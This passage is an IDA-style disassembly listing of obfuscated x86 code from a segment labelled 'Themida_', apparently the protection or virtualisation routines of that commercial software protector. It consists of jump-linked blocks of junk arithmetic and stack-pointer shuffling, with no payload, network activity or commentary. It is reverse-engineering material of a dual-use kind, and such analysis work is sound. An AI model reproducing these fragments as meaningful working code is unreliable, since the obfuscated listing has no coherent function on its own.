; ---------------------------------------------------------------------------


loc_556405:				; CODE XREF: Themida_:0055BEF9j
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 2
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], di
		push	esi
		mov	si, 64B9h
		mov	di, 60D0h
		jmp	loc_55DF25
; ---------------------------------------------------------------------------


loc_556426:				; CODE XREF: Themida_:0055E9C1j
		pop	esp
		push	13C8h
		jmp	loc_555229
; ---------------------------------------------------------------------------


loc_556431:				; CODE XREF: Themida_:00552EDDj
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55AFB8
; ---------------------------------------------------------------------------


loc_55643F:				; CODE XREF: Themida_:0055AACFj
		push	eax
		mov	eax, 56B279E8h
		neg	eax
		jmp	loc_55AB6D
; ---------------------------------------------------------------------------


loc_55644C:				; CODE XREF: Themida_:0055B983j
		mov	eax, 667B6042h
		or	eax, 46870714h
		shl	eax, 7
		inc	eax
		xor	eax, 7FB3AB05h
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		pop	ebx
		sub	esp, 4
		mov	[esp], eax
		push	edx
		mov	edx, 3F33022Bh
		dec	edx
		dec	edx
		neg	edx
		shr	edx, 4
		add	edx, 66653230h
		mov	eax, edx
		pop	edx
		xchg	eax, edi
		not	edi
		xchg	eax, edi
		shr	eax, 1
		jmp	loc_555050
; ---------------------------------------------------------------------------


loc_556491:				; CODE XREF: Themida_:005573A9j
		mov	eax, edi
		mov	edi, [esp]
		add	esp, 4
		push	ecx
		push	1AD26A5Ah
		mov	ecx, [esp]
		push	2A01h
		mov	[esp], edx
		jmp	loc_55AEB8
; ---------------------------------------------------------------------------


loc_5564B2:				; CODE XREF: Themida_:00554B15j
		push	ebp
		mov	ebp, esp
		jmp	loc_55F10D
; ---------------------------------------------------------------------------


loc_5564BA:				; CODE XREF: Themida_:0055EF0Fj
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		shl	dword ptr [esp], cl
		pushf
		jmp	loc_555234
; ---------------------------------------------------------------------------


loc_5564CF:				; CODE XREF: Themida_:0055A374j
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		jmp	loc_557A12
; ---------------------------------------------------------------------------


loc_5564E0:				; CODE XREF: Themida_:00554AFCj
		add	esp, 4
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_5564EB:				; CODE XREF: Themida_:0055AAD6j
		pop	edi
		push	ebp
		mov	ebp, 328339D0h
		and	ebp, 59F304FAh
		dec	ebp
		jmp	loc_55DDC9
; ---------------------------------------------------------------------------


loc_5564FE:				; CODE XREF: Themida_:0055E1D4j
		sub	bl, al
		push	dx
		push	ecx
		push	ebx
		mov	bh, 0FAh
		or	bh, 0B4h
		inc	bh
		sub	bh, 0EAh
		sub	bh, 0ACh
		or	bh, 35h
		add	bh, 90h
		jmp	loc_556968
; ---------------------------------------------------------------------------


loc_55651C:				; CODE XREF: Themida_:005573BAj
		mov	dl, 0E0h
		xor	dl, 0C7h
		jmp	loc_55D40C
; ---------------------------------------------------------------------------


loc_556526:				; CODE XREF: Themida_:00555E92j
		xor	ecx, 2CA3D51h
		add	esi, ecx
		pop	ecx
		push	4B81h
		mov	[esp], edx
		mov	edx, 2
		add	esi, edx
		jmp	loc_5553EE
; ---------------------------------------------------------------------------


loc_556543:				; CODE XREF: Themida_:0055759Dj
		inc	dword ptr [esp]
		pop	ebx
		push	ecx
		mov	ecx, 37D32FB3h
		or	ebx, ecx
		pop	ecx
		sub	ebx, 3FDB7FF3h
		jmp	loc_559F4F
; ---------------------------------------------------------------------------


loc_55655B:				; CODE XREF: Themida_:0055616Fj
		xor	edi, 72AB5214h
		push	edi
		mov	edi, 7CBD16E2h
		sub	eax, 5F8D01D8h
		sub	eax, edi
		push	esi
		mov	esi, 5F8D01D8h
		sub	eax, 3BEE3581h
		sub	eax, 789574C2h
		add	eax, esi
		jmp	loc_556689
; ---------------------------------------------------------------------------
		pop	dword ptr [edx]
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_55658C:				; CODE XREF: Themida_:0055CE45j
		pop	ecx
		sub	esp, 4
		jmp	loc_552FC9
; ---------------------------------------------------------------------------


loc_556595:				; CODE XREF: Themida_:0055C115j
		push	edx
		jmp	loc_55DC5B
; ---------------------------------------------------------------------------


loc_55659B:				; CODE XREF: Themida_:0055CA7Aj
		pop	ebp
		xchg	edi, [esp]
		mov	esp, [esp]
		dec	byte ptr [esp]
		pushf
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_5565AB:				; CODE XREF: Themida_:0055CB72j
		mov	esp, [esp]
		mov	ax, [esp]
		push	ebp
		jmp	loc_553235
; ---------------------------------------------------------------------------


loc_5565B8:				; CODE XREF: Themida_:0055ED18j
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], esp
		push	esi
		push	ebx
		jmp	loc_55A91B
; ---------------------------------------------------------------------------


loc_5565C8:				; CODE XREF: Themida_:0055C308j
		pop	esp
		push	edx
		jmp	loc_55885E
; ---------------------------------------------------------------------------


loc_5565CF:				; CODE XREF: Themida_:0055B6C5j
		mov	ebp, 62344D4Fh
		push	edi
		mov	edi, 9DCBB2D1h
		jmp	loc_5577D2
; ---------------------------------------------------------------------------


loc_5565DF:				; CODE XREF: Themida_:0055BD0Ej
		mov	[esp], esi
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_55637D
; ---------------------------------------------------------------------------


loc_5565F6:				; CODE XREF: Themida_:0055E495j
		add	edi, 4
		push	edx
		push	ebx
		push	77780101h
		pop	ebx
		jmp	loc_553B4A
; ---------------------------------------------------------------------------


loc_556609:				; CODE XREF: Themida_:0055BFE5j
		add	eax, 30E41196h
		sub	eax, ebx
		sub	eax, 30E41196h
		pop	ebx
		mov	edi, [esp]
		add	esp, 4
		push	esi
		jmp	loc_55CA05
; ---------------------------------------------------------------------------


loc_556622:				; CODE XREF: Themida_:00556AFEj
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_55CBD7
; ---------------------------------------------------------------------------


loc_556630:				; CODE XREF: Themida_:005566F5j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp


loc_556642:				; CODE XREF: Themida_:005576AEj
					; Themida_:0055AC93j
		push	dword ptr [edi+24h]
		sub	esp, 4
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4C2F5322h
		push	edx
		mov	edx, 732A594Ah
		xor	edi, edx
		pop	edx
		mov	esi, edi
		jmp	loc_553AF8
; ---------------------------------------------------------------------------


loc_556669:				; CODE XREF: Themida_:00557926j
		pop	ebp
		xchg	edi, [esp]
		pop	esp
		add	esp, 4
		jmp	loc_55AC43
; ---------------------------------------------------------------------------


loc_556676:				; CODE XREF: Themida_:0055709Cj
		neg	ebx
		and	ebx, 7EE242D8h
		add	ebx, 28A83E7Fh
		jmp	loc_554FD3
; ---------------------------------------------------------------------------


loc_556689:				; CODE XREF: Themida_:00556580j
		add	eax, 789574C2h
		push	1025h
		mov	[esp], edx
		mov	edx, 43F5327Ah
		xor	edx, 35155B39h
		jmp	loc_55CE06
; ---------------------------------------------------------------------------


loc_5566A6:				; CODE XREF: Themida_:00559016j
		or	cl, bh
		pop	bx
		sub	cl, 19h
		sub	cl, 62h
		jmp	loc_553676
; ---------------------------------------------------------------------------


loc_5566B5:				; CODE XREF: Themida_:00553F24j
		inc	eax
		xor	eax, 7B1B21F9h
		xor	eax, 0A8EFF649h
		and	edi, eax
		mov	eax, [esp]
		add	esp, 4
		xor	edi, 5A7B17C0h
		push	edi
		xor	dword ptr [esp], 7A473002h
		pop	ebx
		xor	ebx, 7A473002h
		pop	edi
		add	eax, ebx
		jmp	loc_554C66
; ---------------------------------------------------------------------------


loc_5566E5:				; CODE XREF: Themida_:00556F9Fj
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_55407C
; ---------------------------------------------------------------------------


loc_5566F0:				; CODE XREF: Themida_:00556F4Bj
		push	dword ptr [esp]
		pop	ebx
		push	edi
		jmp	loc_556630
; ---------------------------------------------------------------------------


loc_5566FA:				; CODE XREF: Themida_:0055A8EEj
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_556950
; ---------------------------------------------------------------------------


loc_556708:				; CODE XREF: Themida_:00559A07j
		mov	edi, 4
		jmp	loc_553434
; ---------------------------------------------------------------------------


loc_556712:				; CODE XREF: Themida_:00556748j
		xchg	esi, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		push	esi
		jmp	loc_553863
; ---------------------------------------------------------------------------


loc_556738:				; CODE XREF: Themida_:0055471Cj
		dec	ebx
		xor	ebx, 5E1D47ABh
		add	esi, ebx
		pop	ebx
		add	esi, 4
		jmp	loc_556712
; ---------------------------------------------------------------------------


loc_55674D:				; CODE XREF: Themida_:005561E4j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_5542B4
; ---------------------------------------------------------------------------


loc_556760:				; CODE XREF: Themida_:00555D41j
		add	ebp, 7FCE76F8h
		shl	ebp, 2
		add	ebp, 0A4D3B0Dh
		jmp	loc_55AA0C
; ---------------------------------------------------------------------------


loc_556774:				; CODE XREF: Themida_:0055DC2Bj
		and	edi, 9866677h
		inc	edi
		jmp	loc_558269
; ---------------------------------------------------------------------------


loc_556780:				; CODE XREF: Themida_:005531D0j
		xor	dl, 20h
		sub	al, dl
		pop	edx
		push	edx
		push	ebx
		jmp	loc_553250
; ---------------------------------------------------------------------------


loc_55678D:				; CODE XREF: Themida_:0055E823j
		shl	ebp, 8
		or	ebp, 8882522h
		sub	ebp, 1
		push	edx
		mov	edx, 0B8EAF725h
		xor	ebp, edx
		jmp	loc_55CEC2
; ---------------------------------------------------------------------------


loc_5567A9:				; CODE XREF: Themida_:005585CEj
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_558E63
; ---------------------------------------------------------------------------


loc_5567BD:				; CODE XREF: Themida_:0055E0CBj
		add	ebp, 2D63BFB5h
		mov	ebx, ebp
		pop	ebp
		add	edi, ebx
		jmp	loc_5536AA
; ---------------------------------------------------------------------------


loc_5567CD:				; CODE XREF: Themida_:0055EF20j
		mov	ebp, [esp]
		add	esp, 4
		xor	ecx, esi
		jmp	loc_556010
; ---------------------------------------------------------------------------


loc_5567DA:				; CODE XREF: Themida_:005593ECj
		push	edx
		push	esp
		jmp	loc_55C70E
; ---------------------------------------------------------------------------


loc_5567E1:				; CODE XREF: Themida_:0055A6A6j
		add	edi, 0A4DFA8AFh
		sub	esi, edi
		pop	edi
		jmp	loc_558669
; ---------------------------------------------------------------------------


loc_5567EF:				; CODE XREF: Themida_:00556E0Cj
		add	esp, 4
		and	edi, 33E40DD5h
		add	edi, 0FFFFFFFFh
		push	edx
		mov	edx, 686E4F40h
		sub	edi, edx
		jmp	loc_555F9B
; ---------------------------------------------------------------------------


loc_55680E:				; CODE XREF: Themida_:00557BB9j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_5584E1
; ---------------------------------------------------------------------------


loc_55682B:				; CODE XREF: Themida_:0055C609j
		pop	ebp
		jmp	loc_5574A9
; ---------------------------------------------------------------------------


loc_556831:				; CODE XREF: Themida_:0055A5D1j
		push	ebp
		mov	ebp, 4
		add	esi, ebp
		mov	ebp, [esp]
		jmp	loc_55621B
; ---------------------------------------------------------------------------


loc_556841:				; CODE XREF: Themida_:0055693Dj
		add	ebx, 4
		jmp	loc_5558C8
; ---------------------------------------------------------------------------


loc_55684C:				; CODE XREF: Themida_:00553DDAj
		push	26CDh
		mov	[esp], edx
		push	10E65E73h
		jmp	loc_55C3B4
; ---------------------------------------------------------------------------


loc_55685E:				; CODE XREF: Themida_:005547F7j
		pop	eax
		dec	dh
		push	cx
		jmp	loc_557033
; ---------------------------------------------------------------------------


loc_556868:				; CODE XREF: Themida_:00557158j
		sub	edi, 65D05377h
		add	edi, 0DF81867h
		add	eax, edi
		pop	edi
		sub	eax, 3B4D26BBh
		push	dword ptr [esp]
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_5591C0
; ---------------------------------------------------------------------------


loc_556893:				; CODE XREF: Themida_:00555242j
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		push	ebp
		mov	ebp, 4
		jmp	loc_557924
; ---------------------------------------------------------------------------


loc_5568A7:				; CODE XREF: Themida_:005551B2j
		mov	eax, 731C6D14h
		sub	eax, 731C6D14h
		mov	ebx, eax
		jmp	loc_55762A
; ---------------------------------------------------------------------------


loc_5568B8:				; CODE XREF: Themida_:0055358Fj
		cmp	dword ptr [edi+20h], 0
		jz	loc_55D05F
		push	3D23h
		jmp	loc_557383
; ---------------------------------------------------------------------------


loc_5568CC:				; CODE XREF: Themida_:0055B12Fj
		push	esi
		mov	esi, 62940F6h
		and	esi, 27AB2C34h
		jmp	loc_553464
; ---------------------------------------------------------------------------


loc_5568DD:				; CODE XREF: Themida_:00555D94j
		not	esi
		push	ebx
		mov	ebx, 49B67127h
		sub	ebx, 699A2AC8h
		shl	ebx, 4
		xor	ebx, 0AA83852Fh
		xor	esi, ebx
		pop	ebx
		sub	eax, esi
		mov	esi, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 0
		sub	ebx, 46C76009h
		add	ebx, eax
		push	edi
		mov	edi, 53C34C1Ch
		shl	edi, 7
		neg	edi
		xor	edi, 7D2769FFh
		sub	edi, 1CB73BF6h
		add	ebx, edi
		mov	edi, [esp]
		jmp	loc_55E2FE
; ---------------------------------------------------------------------------


loc_556931:				; CODE XREF: Themida_:00559174j
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_556841
; ---------------------------------------------------------------------------


loc_556942:				; CODE XREF: Themida_:00558F49j
		mov	edi, 455A2FA5h
		shl	edi, 8
		inc	edi
		jmp	loc_553914
; ---------------------------------------------------------------------------


loc_556950:				; CODE XREF: Themida_:00556703j
		mov	ebp, 163D2982h
		shl	ebp, 5
		not	ebp
		add	ebp, 0C7A53045h
		add	esi, ebp
		pop	ebp
		jmp	loc_55B993
; ---------------------------------------------------------------------------


loc_556968:				; CODE XREF: Themida_:00556517j
		push	edx
		mov	dh, bh
		mov	cl, dh
		mov	edx, [esp]
		jmp	loc_55B31F
; ---------------------------------------------------------------------------


loc_556975:				; CODE XREF: Themida_:00554B52j
		add	edi, esi
		pop	esi
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebx
		push	edx
		mov	dl, 64h
		or	dl, 0B8h
		sub	esp, 4
		jmp	loc_55D519
; ---------------------------------------------------------------------------


loc_55699E:				; CODE XREF: Themida_:0055DF91j
		mov	ecx, 50D65574h
		add	ecx, 0FFFFFFFFh
		sub	ecx, 1
		shr	ecx, 6
		add	ecx, 6DBCF1ECh
		sub	ebx, ecx
		pop	ecx
		jmp	loc_559374
; ---------------------------------------------------------------------------


loc_5569C0:				; CODE XREF: Themida_:0055D3BDj
		sub	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_5589D6
; ---------------------------------------------------------------------------


loc_5569CE:				; CODE XREF: Themida_:0055E2E1j
		mov	edx, [esp]
		jmp	loc_55A453
; ---------------------------------------------------------------------------


loc_5569D6:				; CODE XREF: Themida_:0055CF92j
		push	edx
		mov	edx, 2EEA54D5h
		inc	edx
		shr	edx, 3
		add	edx, 0FA22B565h
		add	esi, edx
		pop	edx
		xor	esi, 2BC4679h
		add	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_55DD05
; ---------------------------------------------------------------------------


loc_5569FC:				; CODE XREF: Themida_:0055CD5Fj
		push	ecx
		mov	ch, 5Eh
		sub	dh, ch
		pop	ecx
		mov	eax, [esp]
		add	esp, 4
		sub	dh, 33h
		sub	al, dh
		jmp	loc_554E98
; ---------------------------------------------------------------------------


loc_556A15:				; CODE XREF: Themida_:0055B82Fj
		add	esp, 4
		xor	al, bl
		pop	ebx
		push	cx
		mov	cl, 0B6h
		shr	cl, 1
		and	cl, 13h
		xor	cl, 3Eh
		xor	cl, 0EDh
		sub	bl, 61h
		sub	bl, cl
		add	bl, 61h
		pop	cx
		sub	bl, 50h
		jmp	loc_555FF4
; ---------------------------------------------------------------------------


loc_556A3F:				; CODE XREF: Themida_:0055B4F2j
		not	al
		jmp	loc_55808A
; ---------------------------------------------------------------------------


loc_556A46:				; CODE XREF: Themida_:0055B903j
		add	eax, edi
		sub	esp, 4
		jmp	loc_556E00
; ---------------------------------------------------------------------------


loc_556A50:				; CODE XREF: Themida_:0055C528j
		sub	esi, ecx
		jmp	loc_5583AC
; ---------------------------------------------------------------------------


loc_556A57:				; CODE XREF: Themida_:0055567Cj
		pop	esi
		push	6084h
		mov	[esp], ebp
		push	44BA504Eh
		mov	ebp, [esp]
		add	esp, 4
		mov	ecx, 877362B1h
		jmp	loc_55EF1E
; ---------------------------------------------------------------------------


loc_556A78:				; CODE XREF: Themida_:0055A1E9j
		pop	ecx
		jmp	loc_55B552
; ---------------------------------------------------------------------------


loc_556A7E:				; CODE XREF: Themida_:0055DCE6j
		or	dl, 16h
		jmp	loc_5536A2
; ---------------------------------------------------------------------------


loc_556A86:				; CODE XREF: Themida_:0055454Fj
		mov	esi, 772376A7h
		shl	esi, 4
		neg	esi
		add	esi, 8912D6A3h
		sub	ebx, esi
		pop	esi
		jmp	loc_5596C7
; ---------------------------------------------------------------------------


loc_556A9E:				; CODE XREF: Themida_:005579E5j
		mov	dl, cl
		pop	ecx
		or	dl, 0ABh
		add	dl, 0B4h
		sub	dl, 0C9h
		neg	dl
		jmp	loc_55D088
; ---------------------------------------------------------------------------


loc_556AB1:				; CODE XREF: Themida_:00557A0Dj
		pop	esp
		mov	[esp], ebx
		mov	ebx, 38F35E90h
		xor	ebx, 24B30E7Ch
		jmp	loc_55BEFE
; ---------------------------------------------------------------------------


loc_556AC5:				; CODE XREF: Themida_:00557823j
		mov	bh, 47h
		add	cl, bh
		pop	bx
		sub	cl, 0BBh
		add	bl, 0ADh
		sub	bl, cl
		jmp	loc_553B8E
; ---------------------------------------------------------------------------


loc_556AD8:				; CODE XREF: Themida_:0055E5EFj
		add	ebx, 2
		xchg	ebx, [esp]
		mov	esp, [esp]
		idiv	cx
		push	eax
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_55815F
; ---------------------------------------------------------------------------


loc_556AF7:				; CODE XREF: Themida_:00557425j
		add	esp, 4
		push	ebx
		jmp	loc_556622
; ---------------------------------------------------------------------------


loc_556B03:				; CODE XREF: Themida_:0055CDC2j
		sub	dl, 61h
		jmp	loc_55C39A
; ---------------------------------------------------------------------------


loc_556B0B:				; CODE XREF: Themida_:005555EEj
		push	ecx
		mov	ecx, 6C6F330Eh
		mov	eax, 4B1A2885h
		xor	eax, ecx
		pop	ecx
		sub	eax, 5C0C169Dh
		xor	eax, 0CB6904EAh
		add	esi, 60B47E33h
		add	esi, eax
		sub	esi, 60B47E33h
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55E4AE
; ---------------------------------------------------------------------------


loc_556B3F:				; CODE XREF: Themida_:0055DFBAj
		and	ebx, 3D276068h
		not	ebx
		add	ebx, 2C484B53h
		mov	esi, 0EBDDD4B2h
		add	esi, ebx
		pop	ebx
		add	edx, esi
		pop	esi
		jmp	loc_55573B
; ---------------------------------------------------------------------------


loc_556B5D:				; CODE XREF: Themida_:0055C0ADj
		push	ax
		push	edx
		mov	dh, 0F2h
		dec	dh
		jmp	loc_55F19E
; ---------------------------------------------------------------------------


loc_556B69:				; CODE XREF: Themida_:00557C05j
		xor	ebx, ecx
		jmp	loc_559186
; ---------------------------------------------------------------------------


loc_556B70:				; CODE XREF: Themida_:00556DA7j
		mov	[esp], eax
		mov	eax, 726E4663h
		mov	edx, eax
		pop	eax
		sub	ebx, 1B5D1968h
		jmp	loc_55349F
; ---------------------------------------------------------------------------


loc_556B86:				; CODE XREF: Themida_:00557D63j
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		not	edx
		push	eax
		push	edx
		pop	eax
		jmp	loc_55E900
; ---------------------------------------------------------------------------


loc_556B96:				; CODE XREF: Themida_:0055DBE0j
		add	edi, eax
		pop	eax
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_558B76
; ---------------------------------------------------------------------------


loc_556BA8:				; CODE XREF: Themida_:0055A2C3j
		sub	eax, 0BB0A37h
		and	eax, 76BC0DC2h
		xor	eax, 2634720Ah
		jmp	loc_555623
; ---------------------------------------------------------------------------


loc_556BBC:				; CODE XREF: Themida_:0055B7C8j
		or	ebp, 103C04CFh
		jmp	loc_55B13A
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	632h
		mov	[esp], eax
		push	esp
		pop	eax
		add	eax, 4
		push	ebp
		mov	ebp, 5A2B3C78h
		jmp	loc_553C0E
; ---------------------------------------------------------------------------


loc_556BE5:				; CODE XREF: Themida_:00553589j
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_556BEA:				; CODE XREF: Themida_:0055D12Fj
		inc	edi
		jmp	loc_55BF4F
; ---------------------------------------------------------------------------


loc_556BF0:				; CODE XREF: Themida_:005583D1j
		dec	dword ptr [edx+30h]
		not	dword ptr [edx+30h]
		and	dword ptr [edx+30h], 44BA775Eh
		sub	dword ptr [edx+30h], 0FD3ED898h
		push	ecx
		mov	ecx, 30h
		jmp	loc_55ED7A
; ---------------------------------------------------------------------------


loc_556C0F:				; CODE XREF: Themida_:0055DA84j
		xor	esi, 5A5C749Dh
		add	ebp, esi
		pop	esi
		push	5924h
		jmp	loc_555C12
; ---------------------------------------------------------------------------


loc_556C22:				; CODE XREF: Themida_:0055535Dj
		xor	[esp], bh
		not	bh
		push	dx
		sub	esp, 4
		mov	[esp], ecx
		push	edx
		jmp	loc_55903C
; ---------------------------------------------------------------------------


loc_556C38:				; CODE XREF: Themida_:0055BF2Cj
		pop	edi
		add	edi, 4
		push	411Dh
		mov	[esp], eax
		push	ebx
		mov	ebx, 524C2095h
		sub	ebx, 1
		sub	ebx, 75DA4C08h
		sub	ebx, 114E5F1Bh
		neg	ebx
		not	ebx
		sub	ebx, 0CB23756Eh
		jmp	loc_557504
; ---------------------------------------------------------------------------


loc_556C6B:				; CODE XREF: Themida_:0055C1C4j
		xchg	esi, [esp]
		pop	esp
		jmp	loc_553111
; ---------------------------------------------------------------------------


loc_556C74:				; CODE XREF: Themida_:0055D7EAj
		pop	esi
		push	edx
		mov	edx, 772166FAh
		jmp	loc_55A52C
; ---------------------------------------------------------------------------


loc_556C80:				; CODE XREF: Themida_:0055A45Cj
		add	eax, edi
		jmp	loc_555C0C
; ---------------------------------------------------------------------------


loc_556C87:				; CODE XREF: Themida_:0055B7EDj
		mov	eax, esp
		jmp	loc_5552F6
; ---------------------------------------------------------------------------


loc_556C8E:				; CODE XREF: Themida_:0055E2A9j
		pop	edx
		jmp	loc_55C02A
; ---------------------------------------------------------------------------


loc_556C94:				; CODE XREF: Themida_:00553447j
		pop	ecx
		jmp	loc_5583D6
; ---------------------------------------------------------------------------


loc_556C9A:				; CODE XREF: Themida_:0055A93Aj
		add	esp, 4
		push	58ACh
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		push	ebx
		mov	ebx, 7E78054Ah
		dec	ebx
		sub	ebx, 7E780545h
		add	esi, 63674E36h
		add	esi, ebx
		jmp	loc_55E9A5
; ---------------------------------------------------------------------------


loc_556CCA:				; CODE XREF: Themida_:00555FBEj
		mov	[esp], esi
		add	dword ptr [esp], 6DE14AE9h
		jmp	loc_55CD0C
; ---------------------------------------------------------------------------


loc_556CD9:				; CODE XREF: Themida_:00553907j
		pop	ax
		push	ecx
		mov	cl, 83h
		sub	cl, 0B3h
		shl	cl, 5
		not	cl
		jmp	loc_555087
; ---------------------------------------------------------------------------


loc_556CEB:				; CODE XREF: Themida_:005557FDj
		sub	bh, cl
		sub	bh, 0A3h
		pop	cx
		xor	al, bh
		pop	ebx
		push	46ADh
		mov	[esp], ecx
		push	ebx
		push	2112h
		mov	[esp], edx
		jmp	loc_554428
; ---------------------------------------------------------------------------


loc_556D0B:				; CODE XREF: Themida_:0055D864j
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		push	eax
		mov	eax, 3A944325h
		mov	ebp, eax
		pop	eax
		push	esi
		jmp	loc_555659
; ---------------------------------------------------------------------------


loc_556D29:				; CODE XREF: Themida_:00555798j
		push	0F46h
		mov	[esp], ecx
		push	ebx
		push	3ADA769Eh
		jmp	loc_55A236
; ---------------------------------------------------------------------------


loc_556D3C:				; CODE XREF: Themida_:00552E75j
		add	[esp+8], edx
		pop	edx
		jmp	loc_553260
; ---------------------------------------------------------------------------


loc_556D46:				; CODE XREF: Themida_:00559B2Cj
		add	esp, 4
		jmp	loc_55CD9A
; ---------------------------------------------------------------------------


loc_556D4E:				; CODE XREF: Themida_:0055782Dj
		add	edi, 0EFCD829h
		sub	esi, edi
		pop	edi
		sub	esi, 0B3F71ECBh
		and	eax, esi
		push	dword ptr [esp]
		jmp	loc_55D452
; ---------------------------------------------------------------------------


loc_556D67:				; CODE XREF: Themida_:0055E2F9j
		xor	edx, ebp
		pop	ebp
		sub	ecx, 264F7B64h
		add	ecx, edx
		jmp	loc_55E095
; ---------------------------------------------------------------------------


loc_556D77:				; CODE XREF: Themida_:00558C41j
		pop	cx
		sub	al, 9Dh
		jmp	loc_5593CC
; ---------------------------------------------------------------------------


loc_556D80:				; CODE XREF: Themida_:005599E0j
		pop	eax
		xchg	esi, [esp]
		jmp	loc_5533E4
; ---------------------------------------------------------------------------


loc_556D89:				; CODE XREF: Themida_:0055CE21j
		pop	esi
		pop	edi
		add	eax, edi
		add	eax, 7CBD16E2h
		pop	edi
		push	edx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_556B70
; ---------------------------------------------------------------------------


loc_556DAC:				; CODE XREF: Themida_:0055B075j
		mov	eax, 6D703729h
		dec	eax
		push	ebx
		mov	ebx, 23CA282Eh
		add	ebx, 325D1690h
		or	eax, ebx
		pop	ebx
		jmp	loc_55E2D7
; ---------------------------------------------------------------------------


loc_556DC6:				; CODE XREF: Themida_:00554F85j
		add	esi, 1C5174EDh
		or	esi, 5B866DCCh
		jmp	loc_55E15A
; ---------------------------------------------------------------------------


loc_556DD7:				; CODE XREF: Themida_:0055E1ACj
		mov	esi, 343064Eh
		add	eax, esi
		pop	esi
		pop	edx
		add	eax, 2
		push	5A6Eh
		mov	[esp], eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_558ECC
; ---------------------------------------------------------------------------


loc_556E00:				; CODE XREF: Themida_:00556A4Bj
		mov	[esp], edi
		push	3E053514h
		push	dword ptr [esp]
		pop	edi
		jmp	loc_5567EF
; ---------------------------------------------------------------------------


loc_556E11:				; CODE XREF: Themida_:0055C799j
		sub	[esp], ax
		pushf
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_556E1B:				; CODE XREF: Themida_:005594F2j
		and	eax, edi
		push	dword ptr [esp]
		jmp	loc_558A1D
; ---------------------------------------------------------------------------


loc_556E25:				; CODE XREF: Themida_:0055B337j
		push	esi
		push	7BEB12AFh
		pop	esi
		xor	esi, 7BEB12ABh
		add	ebp, 451211D2h
		add	ebp, esi
		sub	ebp, 451211D2h
		pop	esi
		add	ebp, 2
		xor	ebp, [esp]
		jmp	loc_553E1A
; ---------------------------------------------------------------------------


loc_556E4F:				; CODE XREF: Themida_:005598D7j
		xchg	edx, [esp]
		pop	esp
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_556E58:				; CODE XREF: Themida_:0055592Aj
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_556E7D:				; CODE XREF: Themida_:00559C6Bj
		pop	edx
		jmp	loc_55A838
; ---------------------------------------------------------------------------


loc_556E83:				; CODE XREF: Themida_:0055936Fj
		push	edx
		jmp	loc_55B2BF
; ---------------------------------------------------------------------------


loc_556E89:				; CODE XREF: Themida_:0055414Ej
		xchg	esi, [esp]
		pop	esp
		bts	[esp], ax
		pushf
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_556E98:				; CODE XREF: Themida_:0055A4E4j
		inc	ebp
		or	ebp, 6FB8013Eh
		xor	ebp, 667E85A9h
		jmp	loc_55A420
; ---------------------------------------------------------------------------


loc_556EAA:				; CODE XREF: Themida_:0055C0A5j
		add	al, 0C3h
		jmp	loc_55DC80
; ---------------------------------------------------------------------------


loc_556EB1:				; CODE XREF: Themida_:005531E9j
		add	edi, 5416413Bh
		pop	ebp
		jmp	loc_55BE7E
; ---------------------------------------------------------------------------


loc_556EBD:				; CODE XREF: Themida_:00559E78j
		xor	ebp, [esp]
		pop	esp
		add	eax, 7B37548Ch
		push	ecx
		jmp	loc_55EB07
; ---------------------------------------------------------------------------


